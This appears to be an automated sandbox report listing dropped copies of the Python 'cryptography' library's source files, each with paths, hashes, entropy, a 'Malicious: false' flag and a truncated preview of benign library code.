SHA-512:	8C9A5276E6B0BB0D52A921DF826605733CE0740F878669D8BBEEEE8E3B738D9B0C3D754BCF31B1632F6CB13D4D8E2DD5DF9F678CEBAAAAA639CA3EBE351B7AF7
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six...@six.add_metaclass(abc.ABCMeta).class AsymmetricSignatureContext(object):. @abc.abstractmethod. def update(self, data):. """. Processes the provided bytes and returns nothing.. """.. @abc.abstractmethod. def finalize(self):. """. Returns the signature as bytes.. """...@six.add_metaclass(abc.ABCMeta).class AsymmetricVerificationContext(object):. @abc.abstractmethod. def update(self, data):. """. Processes the provided bytes and returns nothing.. """.. @abc.abstractmethod. def verify(self):. """. Raises an exception if the bytes provided to update do not match the. signature or the signature does not match the publ

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\dh.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5859
Entropy (8bit):	4.551418097621148
Encrypted:	false
SSDEEP:	96:F9mA44FAX4/G4Ecrv64rWnGvJ4mqyUh8AiXM2zwrcdFl3rHx:F971+X+G4Ep+Wqyxh8A1rCFFrR
MD5:	21C4746EF0F32080AF9005FF08CA08C7
SHA1:	12AA7DA9AD635AC9FD1DADD08F283D9935596DFF
SHA-256:	92EC8F71C70B78E632E0EB8691E804CAA312CD1A3E4328E5530E3ADE3CDFAC6B
SHA-512:	44777DE8294BFA96995D0AF4CA77F5BF4C56C1343424DBC1BA2EED180B748AB0D2AA9166C8DA6034B5C14A4C238302C13D96A8AEC0144D9FCA03C6CC5A7A2BF4
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.hazmat.backends import _get_backend..._MIN_MODULUS_SIZE = 512...def generate_parameters(generator, key_size, backend=None):. backend = _get_backend(backend). return backend.generate_dh_parameters(generator, key_size)...class DHPrivateNumbers(object):. def __init__(self, x, public_numbers):. if not isinstance(x, six.integer_types):. raise TypeError("x must be an integer.").. if not isinstance(public_numbers, DHPublicNumbers):. raise TypeError(. "public_numbers must be an instance of " "DHPublicNumbers.". ).. self._x = x. self._public_numbers = public_numbers.. def __eq__(self, other):.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\dsa.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7181
Entropy (8bit):	4.618004427723687
Encrypted:	false
SSDEEP:	192:F9IrItLrz1N11TXheid+PTq3WWf6Ku2UPX:F2rItLrz71VReid+Tq3Ff6Ku2U
MD5:	D0C77CC36BC4EF7530C2C31575C2A854
SHA1:	3F1D7E193E9F10F673262C2F1596696873705DA1
SHA-256:	5EE1369945E5F9F5E2DAAEF0DB6A8ACA2093154CFEF39D9C153C15E16394420C
SHA-512:	F130AF8ED08BC20B5451D805D33ACA1B3772EBD250D7D8C24BACECAF81FAEE12C02C71A27C9E5380178145FF0ADFBDA977F9EE7E0AB882344558B299C8468C06
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.hazmat.backends import _get_backend...@six.add_metaclass(abc.ABCMeta).class DSAParameters(object):. @abc.abstractmethod. def generate_private_key(self):. """. Generates and returns a DSAPrivateKey.. """...@six.add_metaclass(abc.ABCMeta).class DSAParametersWithNumbers(DSAParameters):. @abc.abstractmethod. def parameter_numbers(self):. """. Returns a DSAParameterNumbers.. """...@six.add_metaclass(abc.ABCMeta).class DSAPrivateKey(object):. @abc.abstractproperty. def key_size(self):. """. The bit length of the prime modulus.. """.. @abc.abstractmethod. def public_key(self):. """.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\ec.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14006
Entropy (8bit):	4.959520714608183
Encrypted:	false
SSDEEP:	384:FzewZg8AeSnrzQXJYVFYunqH+qxBNsS7JUd3U/MeQA6n9CW34TwS6FDGU5vFI1Ac:DSrk5GqiyLfu+atgRT8joxE5FXEdD
MD5:	7351B0C71A55BE2C058153FEB70445AA
SHA1:	16A2A7477DE29C63F30BAE26403AEBC2C8D89437
SHA-256:	DABA2B9481171C690B9C8F1B6DE14A311AFE8097C48A9B898A0403421E3193BC
SHA-512:	E145B7E9F3DA85E6547B9DC300028CF4C9C06AC353C6E8167E19C7A7A960A72FB9AE739E1CF73040F4891DBEF29FBF51D8AC8A2B78C6277B4E738ADEF7C9E531
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc.import warnings..import six..from cryptography import utils.from cryptography.hazmat._oid import ObjectIdentifier.from cryptography.hazmat.backends import _get_backend...class EllipticCurveOID(object):. SECP192R1 = ObjectIdentifier("1.2.840.10045.3.1.1"). SECP224R1 = ObjectIdentifier("1.3.132.0.33"). SECP256K1 = ObjectIdentifier("1.3.132.0.10"). SECP256R1 = ObjectIdentifier("1.2.840.10045.3.1.7"). SECP384R1 = ObjectIdentifier("1.3.132.0.34"). SECP521R1 = ObjectIdentifier("1.3.132.0.35"). BRAINPOOLP256R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.7"). BRAINPOOLP384R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.11"). BRAINPOOLP512R1 = ObjectIdentifier("1.3.36.3.3.2.8.1.1.13"). SECT163K1 = ObjectIdentifier("1.3.132

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\ed25519.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2401
Entropy (8bit):	4.779580993238801
Encrypted:	false
SSDEEP:	24:q9O0opQ24t6GH9CiNrgo7REv6NgJKRGNnPvCDY4Ego7REv6Ng1Lgo7REv6NgJKk4:IDoWBBASknWLRKPKXRnWNnWLQVq9z
MD5:	80E1F058AD92690069AEF79D492D91E8
SHA1:	0C2390E2E05B4BED67146071AAA14F8729F5B2F9
SHA-256:	ADF2265101FE3DC4E58AEC6217CEB8692C30EDD402595C198233CF6C35E21A52
SHA-512:	E1778C069F5864EB5E4BA1FE55FFBA2BDCC2E35B60AFE92EC16329D45A26D832F860057BA1B65A7BFC30129A795916B672DFAB3BE5B2F3FD0A6134A6C07E5812
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons..._ED25519_KEY_SIZE = 32._ED25519_SIG_SIZE = 64...@six.add_metaclass(abc.ABCMeta).class Ed25519PublicKey(object):. @classmethod. def from_public_bytes(cls, data):. from cryptography.hazmat.backends.openssl.backend import backend.. if not backend.ed25519_supported():. raise UnsupportedAlgorithm(. "ed25519 is not supported by this version of OpenSSL.",. _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM,. ).. return backend.ed25519_load_public_bytes(data).. @abc.abstractmethod. def public_bytes(self, encoding, format):. """. The serialized bytes of the public key..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\ed448.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2328
Entropy (8bit):	4.684145209832676
Encrypted:	false
SSDEEP:	24:q9O0opQ24t6G6xrgoPEvYNHGNnPvCDy4EgoPEvYNYLgoPEvYNGHBT1FzdmB0NlFc:IDoWBOk50HKPKVR50Z50Ap9U
MD5:	2F4A77E18C07B6A0E8E9614F4EA0EE2B
SHA1:	5BBFA02BCF2C6ED4A865E4C2080D9392410B171E
SHA-256:	272AC41F0605FC5B63FC4EB4B7E1A6BE6DC21A7412C556DAB29B59056F387819
SHA-512:	32C27C896EC24CB913B6FDFF5216B32D2A8322DA4FEC57DDF7F15DDABBCEFA2F7E6541173D481D66994E94EAD34C92E25582FBA16B0C2F01013B3D9694A28962
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons...@six.add_metaclass(abc.ABCMeta).class Ed448PublicKey(object):. @classmethod. def from_public_bytes(cls, data):. from cryptography.hazmat.backends.openssl.backend import backend.. if not backend.ed448_supported():. raise UnsupportedAlgorithm(. "ed448 is not supported by this version of OpenSSL.",. _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM,. ).. return backend.ed448_load_public_bytes(data).. @abc.abstractmethod. def public_bytes(self, encoding, format):. """. The serialized bytes of the public key.. """.. @abc.abstractmethod. def verify(self, s

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\padding.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2250
Entropy (8bit):	4.81993459565317
Encrypted:	false
SSDEEP:	48:IDoWBgY9h/Q8a8zQlwITsXOgRDQeCiPDG0lCiPDG5qoCjxWwlL9f6V:F9Shon8zhOgRDDA8HJ8V
MD5:	63C708BD8011CBC76DA2B9AB9C23ACFB
SHA1:	BFA28EC0C0049395F8417DDCBA4FC02A7F9C003A
SHA-256:	DA93EA06EE1D18446D14F1E73D14D9D2244EFD763D86BF514F095372BFC9E5BC
SHA-512:	851FC9D9DC6B721DD4869527E339F35D0AB86C4ED9A92BBB280D51E06532207FD3C9A09D35380A83C19153DB3EEA3745CFABC1AA1E3A4AC44BC6BBFF949D82BA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.hazmat.primitives import hashes.from cryptography.hazmat.primitives.asymmetric import rsa...@six.add_metaclass(abc.ABCMeta).class AsymmetricPadding(object):. @abc.abstractproperty. def name(self):. """. A string naming this padding (e.g. "PSS", "PKCS1").. """...@utils.register_interface(AsymmetricPadding).class PKCS1v15(object):. name = "EMSA-PKCS1-v1_5"...@utils.register_interface(AsymmetricPadding).class PSS(object):. MAX_LENGTH = object(). name = "EMSA-PSS".. def __init__(self, mgf, salt_length):. self._mgf = mgf.. if (. not isinstance(salt_length, six.integer_types). and salt_length is not self

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\rsa.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10672
Entropy (8bit):	4.6125971324204045
Encrypted:	false
SSDEEP:	192:F0cbLRBquLJG1bb9dr5BuEj8zscyvdpc3RxcmIfrbxw2ivqDiL7EqfU0tKZr0nqP:FxbLRBquLJ4bx15BHDgQxw23DiL7EqfE
MD5:	F3E936BB0991F1797C441EF4D97AFCD8
SHA1:	8EAA82099640B8F3CFCD364369B3816F96910671
SHA-256:	320C5D900F0F5A55C6B7694C3E99D5F50618BD09D84C58DBD11B494438E795F5
SHA-512:	EAC8C8EDCAED3AF8CF8B78D44FF5F98B22135DAD681E49381C36199A8D4E2A557128DD68D0902713F9AA67B111A34E04FA636BDCF081222A687501840F792BBE
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..try:. # Only available in math in 3.5+. from math import gcd.except ImportError:. from fractions import gcd..import six..from cryptography import utils.from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import RSABackend...@six.add_metaclass(abc.ABCMeta).class RSAPrivateKey(object):. @abc.abstractmethod. def signer(self, padding, algorithm):. """. Returns an AsymmetricSignatureContext used for signing data.. """.. @abc.abstractmethod. def decrypt(self, ciphertext, padding):. """. Decrypts the provided ciphertext.. """.. @abc.abstractproperty. def key_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\utils.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1201
Entropy (8bit):	4.723999316363918
Encrypted:	false
SSDEEP:	24:q9O0opQ2WkGk3HOE19RKXQb8S7U4rFNxA+CiVVb/XGPrrfJm+:IDoW2LuErAwU4rVlCiPDGL
MD5:	997E35D3E9C9ED9CA159B2E207FCD0E2
SHA1:	212FCC6DB2FB6CEE32840B7B36A1A73D8BDCF916
SHA-256:	C3695021C2AB16F4BD0FF124B7BA9679DDFD4D733A86E7A0EF6145ADFC08A39F
SHA-512:	A56CA07983322B0FA7D8BF3C0BE3E3A6B9E3ABEDA6A40E14CD5F44968A50ECC6C563D8BFBFD90E03082A87FACF03DFA0332E9A0C71B0E594839527E90CF30E52
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.hazmat._der import (. DERReader,. INTEGER,. SEQUENCE,. encode_der,. encode_der_integer,.).from cryptography.hazmat.primitives import hashes...def decode_dss_signature(signature):. with DERReader(signature).read_single_element(SEQUENCE) as seq:. r = seq.read_element(INTEGER).as_integer(). s = seq.read_element(INTEGER).as_integer(). return r, s...def encode_dss_signature(r, s):. return encode_der(. SEQUENCE,. encode_der(INTEGER, encode_der_integer(r)),. encode_der(INTEGER, encode_der_integer(s)),. )...class Prehashed(object):. def __init__(self, algorithm):. if not isinstance(algorithm, hashes.HashAlgorithm):. r

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\x25519.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	4.756861971269525
Encrypted:	false
SSDEEP:	24:q9O0opQ24t6G6LiNrgor6EvlN0uKRGNnkH4Egor6EvlNSSLgor6EvlN0uKkJNnc6:IDoWBeSkaLz0FRKPRaLzSbaLz0FSc9lC
MD5:	2061325198F3324D88DE0CA164AA6F07
SHA1:	9E7633F715E244E2BDEF1C78A0EF1146137DADBD
SHA-256:	BEB3758DC3BAB236D0ADCEDAB8895FD9A12F707DCFD7B70A52E6955F1693BF12
SHA-512:	F36C09B5A566FEA1CAA62E57492592FA6EADCD1A6958FEB118AFB18259F80EA608EC5E8839500649777D0E495AA4CF095B5EF656EA6046BA9562C99011C4610E
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons...@six.add_metaclass(abc.ABCMeta).class X25519PublicKey(object):. @classmethod. def from_public_bytes(cls, data):. from cryptography.hazmat.backends.openssl.backend import backend.. if not backend.x25519_supported():. raise UnsupportedAlgorithm(. "X25519 is not supported by this version of OpenSSL.",. _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM,. ).. return backend.x25519_load_public_bytes(data).. @abc.abstractmethod. def public_bytes(self, encoding, format):. """. The serialized bytes of the public key.. """...@six.add_metaclass(abc.ABCMeta).class X2551

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\x448.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2255
Entropy (8bit):	4.716407242990318
Encrypted:	false
SSDEEP:	24:q9O0opQ24t6G6orgoMEvnNQGNnk54EgoMEvnNNLgoMEvnNxJNncmB0NlF0+C:IDoWBNkS1QKtRS1KS15c9lC
MD5:	547432C32FB43A332474A5DC8A12360C
SHA1:	900D16A08547D5ADEEAF4534AD06D267A61D0B0E
SHA-256:	BB7BFE2F5209206D91C8B55387B14C91787F63EA156F71DD123E5BD5CF8994A9
SHA-512:	DC060DA2FD8690CFF2D10AFCA3B8527296B595F2ED3ECA9BB328E3CB8EC333BDFD08FFD21CE558B321A34C681E9A6DF2B331B0B8E7CDD298EC4DEA8E77E93B6D
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography.exceptions import UnsupportedAlgorithm, _Reasons...@six.add_metaclass(abc.ABCMeta).class X448PublicKey(object):. @classmethod. def from_public_bytes(cls, data):. from cryptography.hazmat.backends.openssl.backend import backend.. if not backend.x448_supported():. raise UnsupportedAlgorithm(. "X448 is not supported by this version of OpenSSL.",. _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM,. ).. return backend.x448_load_public_bytes(data).. @abc.abstractmethod. def public_bytes(self, encoding, format):. """. The serialized bytes of the public key.. """...@six.add_metaclass(abc.ABCMeta).class X448PrivateKe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.686217838307174
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy5oNM16f9BRsBbm/PvIv0YRrOrN5M/5SZUZKZbmXv:q9O0opQ2+UwbL455yA4v
MD5:	93A2CE50F22BBF8E0422202E71451AB2
SHA1:	84DF052DEACC7EFDB6859373657E63142CCF0850
SHA-256:	9A2E32477171738F80BB7C97E0FCA114D6A2167D32CB064A893CDE71D23BEC42
SHA-512:	572F0CDAB8FE56C7DF89DB984E66107F335FE7DF69FBC1A886BB58E8921B6DEE206EC015A0432BC08580883A9D42935CC0ADFD5BA1DB2031475767682CD10A55
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.hazmat.primitives.ciphers.base import (. AEADCipherContext,. AEADDecryptionContext,. AEADEncryptionContext,. BlockCipherAlgorithm,. Cipher,. CipherAlgorithm,. CipherContext,.)...__all__ = [. "Cipher",. "CipherAlgorithm",. "BlockCipherAlgorithm",. "CipherContext",. "AEADCipherContext",. "AEADDecryptionContext",. "AEADEncryptionContext",.].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\aead.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6134
Entropy (8bit):	4.591679826551009
Encrypted:	false
SSDEEP:	48:IDoWbhhHJgSEyPb/MyHO70tlO+7My8b6GWyXb9m6CSCuCtmbuMyHO70tlk8eUMyW:F48iclL9mDw54WhoTVE5lB
MD5:	31872D265C314CB60C15988A16FF7EAF
SHA1:	7649F8ABB781D8DD9C9198233E0318D243A21EBC
SHA-256:	9578193B195BC6D069D64ECA9A5AA088DFD7BBAC8FB0913F0CD24BC2C826D28D
SHA-512:	42B70930FB4470C949F508150A7CDA6F596CBE7DEA015E43A664ED086776C1188D085577DCFFE8DEB4B008C24E4D7CC7C4B98C67B4C2196986CDCE88FE2B2E9F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import os..from cryptography import exceptions, utils.from cryptography.hazmat.backends.openssl import aead.from cryptography.hazmat.backends.openssl.backend import backend...class ChaCha20Poly1305(object):. _MAX_SIZE = 2 ** 32.. def __init__(self, key):. if not backend.aead_cipher_supported(self):. raise exceptions.UnsupportedAlgorithm(. "ChaCha20Poly1305 is not supported by this version of OpenSSL",. exceptions._Reasons.UNSUPPORTED_CIPHER,. ). utils._check_byteslike("key", key).. if len(key) != 32:. raise ValueError("ChaCha20Poly1305 key must be 32 bytes.").. self._key = key.. @classmethod. def generate_key(cls):. return os.urandom(3

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\algorithms.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4225
Entropy (8bit):	4.799521086365984
Encrypted:	false
SSDEEP:	96:FZewZMxjq2efbKujT4eWqbKuj3CesjGiKuj1DeNbKujNsae/bKu/0e+qbKuSOeO6:FZewZMxjqLzKujTphKuj3ntiKuj1KpKW
MD5:	4BE8B97EF14AEC5B5CB4666A942CD9D4
SHA1:	192FCFA408DA4DC339C4A859D96F94700FA4BE50
SHA-256:	18A14886F3A8AAC62C7238CFEE89E5F179C098E6BE91243A8E230C4B6CDE1813
SHA-512:	2CF9BA6B4BCF3E5D3E7170A6E004D446E45DF889F51D156BB3A83D1860BD420EFD9D8E337F38119401E9A82CF39A60BCC62AC6A36520D1C3B4B0EC4BED2A1324
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.hazmat.primitives.ciphers import (. BlockCipherAlgorithm,. CipherAlgorithm,.).from cryptography.hazmat.primitives.ciphers.modes import ModeWithNonce...def _verify_key_size(algorithm, key):. # Verify that the key is instance of bytes. utils._check_byteslike("key", key).. # Verify that the key size matches the expected key size. if len(key) * 8 not in algorithm.key_sizes:. raise ValueError(. "Invalid key size ({}) for {}.".format(. len(key) * 8, algorithm.name. ). ). return key...@utils.register_interface(BlockCipherAlgorithm).@utils.register_interface(CipherAlgorithm).class AES(object):. name = "AES". block_size = 128.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\base.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7253
Entropy (8bit):	4.541685359594128
Encrypted:	false
SSDEEP:	192:F95iQdguvZmaqU/CX0XFX++R8fXpXq9rXw9DXT/gQ:FGmRbqUCd
MD5:	F02E35B722816E9AD74F5FEC3B5F8854
SHA1:	611196BE10453AD5C81385D4EA1664CA5312FEBF
SHA-256:	BDC78DE65EF2C4B5A6353A6D9730B78267C563E2BF00D2A4E0774D9763EDCF69
SHA-512:	9663952457BCA8DF768F1F4370006D9DDBD5D495140629963965B00A4EEB8988AAC2DB7EB842CAE1FEF83CCD0FBA74B8F4BA1C0AF67D6C5DB67069A823DA8A3E
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. AlreadyUpdated,. NotYetFinalized,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import CipherBackend.from cryptography.hazmat.primitives.ciphers import modes...@six.add_metaclass(abc.ABCMeta).class CipherAlgorithm(object):. @abc.abstractproperty. def name(self):. """. A string naming this mode (e.g. "AES", "Camellia").. """.. @abc.abstractproperty. def key_size(self):. """. The size of the key being used as an integer in bits (e.g. 128, 256).. """...@six.add_metaclass(abc.ABCMe

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\modes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6805
Entropy (8bit):	4.711527940876376
Encrypted:	false
SSDEEP:	192:F9miQvLGv1080BvS15vWLvAtvM+VBLAvYR8TO:FQ7m0jEOUq+t8TO
MD5:	A2B3825B7DDEFB68F5884746D2AB4AC7
SHA1:	2BDCAF66E36943D43AE5A535B6E2C6B6C5218CCE
SHA-256:	FB4553B4737790A3BF27273F88B020A7C6EAB6C5C963957617FFC192BEA7BED3
SHA-512:	636F48A3563EFFB4E1EC486EF83C9EFC709A6544E94506A676CADB3FFB64691927D6266D66DF1840D86EB9131ECAA716F54CAD30BA8E470035B78211D0CC08EC
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six..from cryptography import utils...@six.add_metaclass(abc.ABCMeta).class Mode(object):. @abc.abstractproperty. def name(self):. """. A string naming this mode (e.g. "ECB", "CBC").. """.. @abc.abstractmethod. def validate_for_algorithm(self, algorithm):. """. Checks that all the necessary invariants of this (mode, algorithm). combination are met.. """...@six.add_metaclass(abc.ABCMeta).class ModeWithInitializationVector(object):. @abc.abstractproperty. def initialization_vector(self):. """. The value of the initialization vector for this mode as bytes.. """...@six.add_metaclass(abc.ABCMeta).class ModeWithTweak(object):. @abc.abstractp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\cmac.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2130
Entropy (8bit):	4.604530795915291
Encrypted:	false
SSDEEP:	48:IDoW25Q5t5XkC+gejCiFDGSn7XLcX/dwKcZhXmmXWdG:FZ5o5X47XLcX1wPPX3XWdG
MD5:	FF8CC5C4656E66EC1A5DF598C0B0D4C3
SHA1:	226BC2545CB003E4408C7DB7098AC49D2DB31D4A
SHA-256:	789A72B0315B73B5BA3A2A65CD6296ACBE28C32DF40AAE8DB1AA3C9B36A9A9B1
SHA-512:	AB234DCC7E04ADD17284C495B43CCD80025BAA71F3C82A7027112596CA102B1BA2066655B8075C7B473420A7816FE8DDD820BE7089F747350D8E04A1C3007E90
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import (. AlreadyFinalized,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.backends.interfaces import CMACBackend.from cryptography.hazmat.primitives import ciphers...class CMAC(object):. def __init__(self, algorithm, backend=None, ctx=None):. backend = _get_backend(backend). if not isinstance(backend, CMACBackend):. raise UnsupportedAlgorithm(. "Backend object does not implement CMACBackend.",. _Reasons.BACKEND_MISSING_INTERFACE,. ).. if not isinstance(algorithm, ciphers.BlockCipherAlgorithm):. raise TypeError("Expected in

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\constant_time.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	430
Entropy (8bit):	4.594760268039916
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy5JJHJue1C/C+CRmVblWli:q9O0opQ2qJuyC/C+zVblWli
MD5:	63FE80B2DADEFE9E26B5FCFB06512199
SHA1:	81465D1C60C8EF8CEEBEE6089CC5F1A47589CF65
SHA-256:	FF1E26AC75BEF6285F818F3D0708404C5888B86DBFD65F873240B198E524C9D3
SHA-512:	BD27091C5D7409BC8826845D4FC60ABCB1B83EFC6B995D7056F5EDDE8B04C4D6F26D2B0DDEEDF6D47C7C2196C6B25065A3E7FF7C6A83D533903000DD452DBC1B
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import hmac...def bytes_eq(a, b):. if not isinstance(a, bytes) or not isinstance(b, bytes):. raise TypeError("a and b must be bytes.").. return hmac.compare_digest(a, b).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\hashes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6315
Entropy (8bit):	4.7784033643228545
Encrypted:	false
SSDEEP:	192:F95DY+JXUXJX+O/Ku/5t/TKTNp1ve8F/7K/V2/61/LTLYTfkaq940b:FXmPT+5HmySEw7gL6db
MD5:	3BF508E993B71D93EA2EA963F5552058
SHA1:	8E78305E57008E42468A9EDDA5B0B895609167A6
SHA-256:	7732F541C1058F8784973733A3C426B8E7A8A19F7A105C01CB773EE9CA5EC34C
SHA-512:	E1AFF572D8BC741CD33F72F3F6744DDB8FA604589670A53588544712DBCBF508660C9C7AD0F75E73566819CEB60D29B633DAAD9633640A24655182461F67AA8D
Malicious:	false
